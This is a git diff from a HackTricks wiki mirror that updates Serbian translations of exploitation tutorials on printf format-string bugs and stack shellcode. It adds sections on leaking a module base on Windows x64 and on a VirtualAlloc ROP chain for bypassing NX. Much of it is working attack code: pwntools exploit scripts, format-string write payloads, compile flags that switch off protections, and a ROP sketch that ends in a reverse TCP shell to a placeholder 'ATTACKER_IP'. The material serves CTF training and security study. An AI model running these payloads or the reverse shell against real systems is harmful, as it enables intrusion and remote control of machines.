mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ
This commit is contained in:
parent
cd771ab842
commit
9d90568496
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -3,15 +3,15 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formata** iz sirovog teksta.
|
||||
U C-u **`printf`** je funkcija koja se može koristiti za **ispis** stringa. Prvi **parametar** koji ova funkcija očekuje je **sirovi tekst sa formatterima**. Sledeći **parametri** su **vrednosti** koje će **zameniti** formattere iz sirovog teksta.
|
||||
|
||||
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
||||
Ostale ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
||||
|
||||
Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da čita i **piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
|
||||
Ranljivost nastaje kada se kao **prvi argument** ovoj funkciji prosledi tekst koji kontroliše napadač. Napadač može da kreira **poseban ulaz koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (može se čitati/pisati)**. Na taj način se može postići **izvršavanje proizvoljnog koda**.
|
||||
|
||||
#### Formati:
|
||||
#### Formateri:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -24,13 +24,13 @@ Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ov
|
||||
```
|
||||
**Primeri:**
|
||||
|
||||
- Ranjiv primer:
|
||||
- Ranljiv primer:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Normalna upotreba:
|
||||
- Uobičajena upotreba:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
@ -52,28 +52,28 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Pristupanje Pokazivačima**
|
||||
### **Pristupanje pokazivačima**
|
||||
|
||||
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
|
||||
Format **`%<n>$x`**, gde je `n` broj, omogućava printf-u da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate četvrti parametar sa steka koristeći printf, možete uraditi:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
и могли бисте читати од првог до четвртог параметра.
|
||||
i pročitao bi od prvog do četvrtog parametra.
|
||||
|
||||
Или бисте могли да урадите:
|
||||
Ili možete uraditi:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
i direktno pročitajte četvrti.
|
||||
i direktno pročitati četvrtu poziciju.
|
||||
|
||||
Obratite pažnju da napadač kontroliše `printf` **parametar, što u osnovi znači da** će njegov unos biti u steku kada se pozove `printf`, što znači da bi mogao da upiše specifične memorijske adrese u stek.
|
||||
Primetite da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov unos će biti u stacku kada se `printf` pozove, što znači da bi mogao upisati specifične memorijske adrese u stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Napadač koji kontroliše ovaj unos, moći će da **doda proizvoljnu adresu u stek i natera `printf` da im pristupi**. U sledećem odeljku biće objašnjeno kako koristiti ovo ponašanje.
|
||||
> Napadač koji kontroliše ovaj unos biće u mogućnosti da **doda proizvoljne adrese u stack i natera `printf` da im pristupi**. U narednom odeljku biće objašnjeno kako iskoristiti ovo ponašanje.
|
||||
|
||||
## **Proizvoljno Čitanje**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Moguće je koristiti formatirator **`%n$s`** da nateramo **`printf`** da dobije **adresu** koja se nalazi na **n poziciji**, nakon nje i **odštampa je kao da je to string** (štampanje dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji u steku, moguće je odštampati početak binarnog fajla sa:
|
||||
Moguće je koristiti formatter **`%n$s`** da se natera **`printf`** da uzme **adresu** koja se nalazi na **n-toj poziciji**, da joj pristupi i **ispise je kao da je string** (ispisuje dok se ne naiđe na 0x00). Dakle, ako je baza binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na stacku, moguće je ispisati početak binarija sa:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
|
||||
> Imajte na umu da ne možete staviti adresu 0x8048000 na početak inputa jer će string biti cat u 0x00 na kraju te adrese.
|
||||
|
||||
### Pronađi offset
|
||||
### Pronađite offset
|
||||
|
||||
Da biste pronašli offset za vaš ulaz, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
|
||||
Da biste pronašli offset do vašeg inputa, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -128,37 +128,38 @@ p.close()
|
||||
|
||||
### Koliko je korisno
|
||||
|
||||
Arbitrarna čitanja mogu biti korisna za:
|
||||
Arbitrary reads mogu biti korisni za:
|
||||
|
||||
- **Dump** **binarne** datoteke iz memorije
|
||||
- **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** the **binary** iz memorije
|
||||
- **Pristup specifičnim delovima memorije gde se čuva osetljiva** **info** (kao što su canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrarno Pisanje**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenoj adresi** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da natera **`%<num>$n`** da upiše proizvoljan broj na proizvoljnu adresu.
|
||||
Formatter **`%<num>$n`** **upisuje** **broj napisanih bajtova** u **naznačenu adresu** preko <num> parametra na steku. Ako napadač može da upiše proizvoljan broj karaktera pomoću printf, moći će da natera **`%<num>$n`** da upiše proizvoljan broj u proizvoljnu adresu.
|
||||
|
||||
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
|
||||
Srećom, da biste upisali broj 9999 nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** u **adresu na koju pokazuje pozicija `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
|
||||
Međutim, imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), koristi **$hn** umesto **$n**. To omogućava da se napišu **samo 2 bajta**. Stoga se ova operacija obavlja dvaput: jednom za najviša 2B adrese i drugi put za najniže.
|
||||
|
||||
Zbog toga, ova ranjivost omogućava **pisanje bilo čega na bilo koju adresu (arbitrarno pisanje).**
|
||||
Dakle, ova ranjivost omogućava da se **upiše bilo šta na bilo koju adresu (arbitrary write).**
|
||||
|
||||
U ovom primeru, cilj će biti da se **prepiše** **adresa** neke **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se ovo moglo zloupotrebiti i drugim arbitrary write to exec tehnikama:
|
||||
|
||||
U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarnih pisanja za izvršavanje:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Prepisujemo **funkciju** koja **prima** svoje **argumente** od **korisnika** i **upućujemo** je na **`system`** **funkciju**.\
|
||||
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **se pišu 2Bajta** adrese, a zatim ostala 2. Da bi se to uradilo, koristi se **`$hn`**.
|
||||
Preći ćemo na **prepisivanje** **funkcije** koja **prima** svoje **argumente** od **korisnika** i usmeriti je na **`system`** **funkciju**.\
|
||||
Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se **upišu 2 bajta** adrese, a zatim i preostala 2. Za to se koristi **`$hn`**.
|
||||
|
||||
- **HOB** se poziva za 2 viša bajta adrese
|
||||
- **LOB** se poziva za 2 niža bajta adrese
|
||||
- **HOB** se odnosi na 2 najviša bajta adrese
|
||||
- **LOB** se odnosi na 2 najniža bajta adrese
|
||||
|
||||
Zatim, zbog načina na koji funkcioniše format string, potrebno je **prvo napisati manji** od \[HOB, LOB] i zatim drugi.
|
||||
Zatim, zbog načina na koji format string funkcioniše, potrebno je prvo **upisati manji** od [HOB, LOB] i zatim drugi.
|
||||
|
||||
Ako je HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -170,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
### Pwntools Template
|
||||
### Pwntools šablon
|
||||
|
||||
Možete pronaći **šablon** za pripremu eksploita za ovu vrstu ranjivosti u:
|
||||
Možete pronaći **šablon** za pripremu exploit-a za ovu vrstu ranjivosti u:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Ili ovaj osnovni primer iz [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Ili ovaj osnovni primer sa [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -200,18 +201,59 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
Moguće je zloupotrebiti akcije pisanja u ranjivosti format stringa da **pišu u adrese steka** i iskoriste ranjivost tipa **buffer overflow**.
|
||||
Moguće je zloupotrebiti write akcije format string ranjivosti da se **upiše u adrese stack-a** i iskoristi tip ranjivosti **buffer overflow**.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registrima: RCX, RDX, R8, R9. U mnogim buggy call-sites string kojim upravlja napadač koristi se kao format argument, ali nisu prosleđeni variadic arguments, na primer:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Pošto se ne prosleđuju varargs, bilo koja konverzija poput "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvi takav read za "%p" dolazi iz R9. Bilo koja tranzijentna vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi ovo često leaks a stable in-module pointer (npr. pokazivač na lokalni/globalni objekat ranije postavljen u R9 od strane okolnog koda ili callee-saved vrednosti), koji se može iskoristiti za povraćaj module base i zaobilaženje ASLR.
|
||||
|
||||
Praktičan workflow:
|
||||
|
||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
|
||||
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
|
||||
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Napomene:
|
||||
- Tačan offset koji treba oduzeti se pronađe jednom tokom lokalnog reversing-a i zatim se ponovo koristi (isti binary/version).
|
||||
- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiers ("%llx", "%s") ili višestruke konverzije ("%p %p %p") da biste uzorkovali druge argument registers/stack.
|
||||
- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje dohvataju nepostojeće varargs iz registers kada format string to zahteva.
|
||||
|
||||
Ova tehnika je izuzetno korisna za bootstrap ROP na Windows services koje su kompajlirane sa ASLR i bez očiglednih memory disclosure primitives.
|
||||
|
||||
## Drugi primeri & reference
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok vraća još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da tok izvršavanja napravi još jedno vraćanje) i upis adrese u `system` u GOT tabelu koja pokazuje na `strlen`. Kada tok izvršavanja ponovo ode u main, `strlen` se izvršava sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande.
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač piše shellcode na stek ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
|
||||
**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač upisuje shellcode na stack ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokaže na lokaciju tog shellcode-a, izazivajući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku sledi razlaganje procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
|
||||
|
||||
### C Primer: Ranjivi Program
|
||||
### C primer: Ranljiv program
|
||||
|
||||
Hajde da počnemo sa jednostavnim primerom ranjivog C programa:
|
||||
Počnimo sa jednostavnim primerom ranljivog C programa:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ovaj program je podložan prelivanju bafera zbog korišćenja `gets()` funkcije.
|
||||
Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije `gets()`.
|
||||
|
||||
### Kompilacija
|
||||
|
||||
Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:
|
||||
Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (da biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Onemogućava zaštitu steka.
|
||||
- `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
|
||||
- `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se nalaziti naš shellcode.
|
||||
- `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
|
||||
- `-z execstack`: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
|
||||
- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memorijske adrese gde će se nalaziti naš shellcode.
|
||||
- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen radi jednostavnosti u razvoju exploita.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
### Python exploit koristeći Pwntools
|
||||
|
||||
Evo kako možete napisati exploit u Python-u koristeći **pwntools** za izvođenje **ret2shellcode** napada:
|
||||
Evo kako biste mogli napisati exploit u Pythonu koristeći **pwntools** da izvedete **ret2shellcode** napad:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
|
||||
Ovaj skript konstruiše payload koji se sastoji od **NOP slide**, **shellcode**, i potom prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
|
||||
|
||||
**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus pomeraj da biste sleteli u NOP slide.
|
||||
The **NOP slide** (`asm('nop')`) se koristi da poveća verovatnoću da izvršavanje "slide"-uje u naš shellcode bez obzira na tačnu adresu. Podesite `p32()` argument na početnu adresu vašeg buffera plus offset da biste dospeli u NOP slide.
|
||||
|
||||
## Protekcije
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili prepisana EIP adresa za povratak nikada neće biti praćena.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
|
||||
Na modernim Windows sistemima stack nije izvršiv (DEP/NX). Uobičajen način da se ipak izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz modula Import Address Table (IAT) da bi se regija stack-a označila kao izvršiva, a zatim se vraća u shellcode dodat nakon chain-a.
|
||||
|
||||
## Ostali Primeri & Reference
|
||||
Ključne tačke (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → izaberite adresu u trenutnom stack-u (npr. RSP) tako da novo alocirana RWX regija preklopi vaš payload
|
||||
- RDX = dwSize → dovoljno velika za vaš chain + shellcode (npr. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return direktno u shellcode postavljen odmah posle chain-a.
|
||||
|
||||
Minimalna strategija:
|
||||
1) Leak a module base (npr. preko format-string, object pointer, itd.) da biste izračunali apsolutne gadget i IAT adrese pod ASLR-om.
|
||||
2) Pronađite gadget-e koji učitavaju RCX/RDX/R8/R9 (pop ili mov/xor-bazirane sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktan pop r8/r9, koristite arithmetic gadget-e da sintetizujete konstante (npr. postavite r8=0 i ponovo dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
|
||||
3) Postavite stage-2 shellcode odmah nakon chain-a.
|
||||
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Sa ograničenim gadget set-om, možete indirektno konstruisati vrednosti registara, na primer:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavi r9 iz rbx, postavi r8 na 0 i kompenzuj stek jednim junk qword-om.
|
||||
- xor rbx, rsp; ret → inicijalizuje rbx vrednošću trenutnog pokazivača steka.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → prebaci vrednost izvedenu iz RSP u RCX.
|
||||
|
||||
Pwntools skica (uz poznatu osnovnu adresu i gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Tips:
|
||||
- VirtualProtect radi slično ako je poželjno da postojeći buffer učinite RX; redosled parametara je drugačiji.
|
||||
- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na taj novi region umesto ponovnog korišćenja stack-a.
|
||||
- Uvek uzmite u obzir gadgets koji menjaju RSP (npr., add rsp, 8; ret) ubacivanjem junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** da bi adresa bila pouzdana između izvršenja — inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste utvrdili gde je win function učitana.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) treba takođe da budu onemogućene, inače kompromitovani EIP return address nikada neće biti iskorišćen.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer taj region neće biti izvršan.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR sa leak-om adrese steka, upisivanje shellcode i skakanje na njega
|
||||
- 64bit, ASLR sa stack address leak, pisanje shellcode-a i jmp na njega
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR sa leak-om steka, upisivanje shellcode i skakanje na njega
|
||||
- 32 bit, ASLR sa stack leak, pisanje shellcode-a i jmp na njega
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepisivanje promenljive sa vrednošću i upisivanje shellcode i skakanje na njega
|
||||
- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), prepisivanje promenljive vrednošću i pisanje shellcode-a i jmp na njega
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, bez ASLR, ROP gadget za omogućavanje izvršenja steka i skakanje na shellcode u steku
|
||||
- arm64, bez ASLR, ROP gadget da učini stack izvršnim i jmp na shellcode u stack-u
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
